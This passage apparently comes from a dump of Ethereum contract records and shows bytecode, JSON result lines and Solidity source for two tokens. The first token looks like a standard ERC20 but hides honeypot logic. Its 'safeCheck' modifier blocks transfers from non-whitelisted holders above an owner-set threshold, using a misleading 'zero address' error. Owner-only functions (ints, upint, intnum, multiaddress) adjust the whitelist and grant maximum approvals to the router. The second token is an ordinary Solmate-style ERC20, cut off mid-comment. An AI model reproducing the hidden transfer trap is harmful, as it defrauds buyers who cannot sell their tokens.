fffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e8c4a2e38d64ecbf9e9f978a012d905444e9ef6dcaabb286a3ac3cda5a1be92464736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,315 |
0xd925dab4438a83f2acf8a932a86242f7cac807e3
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_FRA(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b80da80deabb8d28cb05b38b5f3cd9ac303cf2156ff6af58be2a8b0d4bd8ae2764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 9,316 |
0x000000007a58f5f58e697e51ab0357bc9e260a04
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
// SPDX-License-Identifier: WTFPL
pragma solidity >=0.8;
/**
██████╗ ██████╗ ███╗ ██╗ ██████╗ █████╗ ██╗ ██╗██████╗
██╔════╝██╔═══██╗████╗ ██║██╔════╝██╔══██╗██║ ██║╚════██╗
██║ ██║ ██║██╔██╗ ██║██║ ███████║██║ ██║ █████╔╝
██║ ██║ ██║██║╚██╗██║██║ ██╔══██║╚██╗ ██╔╝ ╚═══██╗
╚██████╗╚██████╔╝██║ ╚████║╚██████╗██║ ██║ ╚████╔╝ ██████╔╝
╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝
Concave
*/
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
